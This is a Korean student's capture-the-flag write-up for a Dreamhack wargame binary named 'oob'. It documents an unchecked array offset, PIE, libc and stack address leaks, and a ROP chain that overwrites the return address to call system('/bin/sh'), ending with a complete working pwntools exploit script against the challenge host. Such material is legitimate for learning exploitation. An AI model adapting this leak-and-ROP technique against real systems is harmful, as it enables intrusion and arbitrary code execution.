[Dreamhack] OOB 문제풀이

10114조예성

목차

문제 소개

목표: 보호기법을 우회해서 쉘 획득

4 LEVEL 4

oob

pwnable

719 108 2024.08.22. 19:43:13

문제 파일 받기

```
& PJMZZZ @ SCA in ~/deploy 0 [21:43:16]
~ checksec --file=./oob
RELRO           STACK CANARY      NX            PIE
Full RELRO      Canary found      NX enabled    PIE enabled
```

적용된 보호 기법

보호기법	역할
PIE	실행파일의 기본 주소를 매 실행 시 랜덤화
NX	스택에 실행권한 제거 (쉘코드 실행 차단)
RELRO	GOT 등의 쓰기 권한 제거로 함수 훅킹 방지
Canary	스택 버퍼 오버플로우 감지용 무작위 값 삽입
ASLR	전체 주소 공간 (스택, 힙 등) 무작위화

메모리 조작을 어렵게 만들어 공격자가 임의 코드를 실행하지 못하게 함

사용할 공격 기법

공격 기법	설명
OOB	배열 범위를 벗어난 읽기/쓰기 가능
ROP	스택을 조작해 기존 코드 조각(gadget)으로 쉘 실행
Gadget	`pop rdi; ret` 같이 짧고 유용한 코드 조각

NX로 인해 쉘코드를 스택에 못 두므로, 기존 libc 함수(system, /bin/sh)를 조합해서 실행해야 함

```c
int main() {
    initialize();
    unsigned long long offset;
    int choice;
    for (;;) {
        menu();
        scanf("%d", &choice);
        if (choice == 1) {
            printf("offset: ");
            scanf("%lld", &offset);
            printf("%c\n", oob[offset]);
        }
        else if (choice == 2) {
            printf("offset: ");
            scanf("%lld", &offset);
            printf("value: ");
            getchar();
            scanf("%lld", &oob[offset]);
        }
        else if (choice==3) {
            break;
        }
        else {
            puts("invalid choice");
        }
    }
    return 0;
}
```

```c
void menu() {
    puts("1. read");
    puts("2. write");
    puts("3. exit");
    printf("> ");
}
```

문제 코드

```c
int main() {
    initialize();
    unsigned long long offset;
    int choice;
    for (;;) {
        menu();
        scanf("%d", &choice);
        if (choice == 1) {
            printf("offset: ");
            scanf("%lld", &offset);
            printf("%c\n", oob[offset]);
        }
        else if (choice == 2) {
            printf("offset: ");
            scanf("%lld", &offset);
            printf("value: ");
            getchar();
            scanf("%lld", &oob[offset]);
        }
        else if (choice==3) {
            break;
        }
        else {
            puts("invalid choice");
        }
    }
    return 0;
}
```

```c
scanf("%d", &choice);
if (choice == 1) {
    printf("offset: ");
    scanf("%lld", &offset);
    printf("%c\n", oob[offset]);
```

offset에 대한 범위를 검사하지 않음
-> oob 취약점 발생

공격 흐름

Leak

ROP chain

1단계	2단계	3단계	4단계
Piebase, Libcbase **주소** Leak	Stack **주소** Leak	ROP chain **작성**	ROP chain **삽입 및 실행**

Piebase, Libcbase Leak 준비

```
.data:0000000000004008 ; void *__dso_handle
.data:0000000000004008 __dso_handle    dq offset __dso_handle
.data:0000000000004008
.data:0000000000004010                 public oob
.data:0000000000004010 oob             db 'Hello, World!',0
.bss:0000000000004020 ;
.bss:0000000000004020
.bss:0000000000004020 ;
.bss:0000000000004020 ;
.bss:0000000000004020 _bss             segment para public 'BSS'
.bss:0000000000004020                  assume cs:_bss
.bss:0000000000004020                  ;org 4020h
.bss:0000000000004020                  assume es:nothing, ss:noth
.bss:0000000000004020                  public stdout@GLIBC_2_2_5
.bss:0000000000004020 ; FILE *stdout
.bss:0000000000004020 stdout@GLIBC_2_2_5 dq ?                    ;
```

dso handle <-> oob 거리: 8바이트

oob <-> stdout 거리: 16바이트

1단계
Piebase, Libcbase Leak

```
scanf("%d", &choice);
if (choice == 1) {
    printf("offset: ");
    scanf("%lld", &offset);
    printf("%c\n", oob[offset]);
```

```
pie_leak = b''
for i in range(1, 9):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'offset: ', str(-i).encode())
    pie_leak += p.recvn(1)

e.address = u64(pie_leak[::-1]) - e.symbols['__dso_handle']

libc_leak = b''
for i in range(16, 24):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'offset: ', str(i).encode())
    libc_leak += p.recvn(1)

libc.address = u64(libc_leak) - libc.symbols['_IO_2_1_stdout_']
```

2단계
Stack 주소 Leak

```
scanf("%d", &choice);
if (choice == 1) {
    printf("offset: ");
    scanf("%lld", &offset);
    printf("%c\n", oob[offset]);
```

```
environ = libc.symbols['environ']
oob_addr = e.symbols['oob']
environ_oob_offset = environ - oob_addr

stack_leak = b''
for i in range(environ_oob_offset, environ_oob_offset + 8):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'offset: ', str(i).encode())
    stack_leak += p.recvn(1)
stack_addr = u64(stack_leak)
```

ROP chain 작성 준비

```
& PJMZZZ @ SCA in ~/deploy 0 [01:53:36]
~ ROPgadget --binary libc.so.6 --only "ret"
Gadgets information
============================================================
0x0000000000029cd6 : ret
```

ret gadget
offset 찾기

```
pwndbg> x/g environ
0x7fffffffe468: 140737488349012
pwndbg> x/gx $rbp + 8
0x7fffffffe348: 0x00007ffff7c29d90
pwndbg> x/gx 0x7fffffffe468-0x7fffffffe348
0x120:  Cannot access memory at address 0x120
```

Stack_ret
offset 구하기

```
0x000000000002a3e5 : pop rdi ; ret
```

pop rdi offset
찾기

```
& PJMZZZ @ SCA in ~/deploy 0 [01:59:35]
~ strings -tx libc.so.6 | grep "/bin/sh"
 1d8698 /bin/sh
```

/bin/sh
offset 찾기

3단계
ROP chain 작성

```
ret_offset = 0x120
ret_addr = stack_addr - ret_offset
pop_rdi = libc.address + 0x00000000002a3e5
ret_gadget = libc.address + 0x000000000029cd6
system = libc.symbols['system']
binsh = libc.address + 0x1d8698
ret_oob_offset = ret_addr - oob_addr

payload = b''
payload += p64(ret_gadget)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
```

= system("/bin/sh")

4단계
ROP chain 삽입 및 실행

```python
for i in range(32):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'offset: ', str(ret_oob_offset + i).encode())
    p.sendlineafter(b'value: ', str(payload[i]).encode())

p.interactive()
```

```
[*] Switching to interactive mode
1. read
2. write
3. exit
> $ 3
$ cat flag
DH{[redacted]}$
```

전체 코드

```python
from pwn import *
#p = process('./oob')
#p = remote('localhost', 9090)
p = remote('host3.dreamhack.games', 20482)

context.arch = 'amd64'
#context.log_level = 'debug'

e = ELF('./oob')
libc = ELF('./libc.so.6')
#---------------------------------------------------------------
pie_leak = b''
for i in range(1, 9):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'offset: ', str(-i).encode())
    pie_leak += p.recvn(1)

e.address = u64(pie_leak[::-1]) - e.symbols['__dso_handle']

libc_leak = b''
for i in range(16, 24):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'offset: ', str(i).encode())
    libc_leak += p.recvn(1)

libc.address = u64(libc_leak) - libc.symbols['_IO_2_1_stdout_']
#---------------------------------------------------------------
environ = libc.symbols['environ']
oob_addr = e.symbols['oob']
environ_oob_offset = environ - oob_addr

stack_leak = b''
for i in range(environ_oob_offset, environ_oob_offset + 8):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'offset: ', str(i).encode())
    stack_leak += p.recvn(1)
stack_addr = u64(stack_leak)
#---------------------------------------------------------------
ret_offset = 0x120
ret_addr = stack_addr - ret_offset
pop_rdi = libc.address + 0x000000000002a3e5
ret_gadget = libc.address + 0x0000000000029cd6
system = libc.symbols['system']
binsh = libc.address + 0x1d8698
ret_oob_offset = ret_addr - oob_addr

payload = b''
payload += p64(ret_gadget)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
#---------------------------------------------------------------
for i in range(32):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'offset: ', str(ret_oob_offset + i).encode())
    p.sendlineafter(b'value: ', str(payload[i]).encode())

p.interactive()
```

축하합니다!

4 LEVEL 4 oob
문제를 해결했습니다.

다른 사용자들을 위해 이 문제의 난이도를 평가해주세요.
적극적인 피드백은 드림핵에게 큰 도움이 됩니다.

자신의 워게임 점수에 따라 투표 불가능한 난이도가 있을 수 있습니다.

— 1 +

워게임에 입문한 초심자에게 적합하며,
기술에 대한 배경 지식만으로 충분히 해결할 수 있습니다.

괜찮아요 투표하기

결론 및 느낀점

- 작은 실수 하나 때문에 공격을 막지 못하는 것이 신기했다.
- 여러 보호 기법을 뚫어봐서 재미있었다.
- pwntools와 gdb실력이 늘은 것 같다.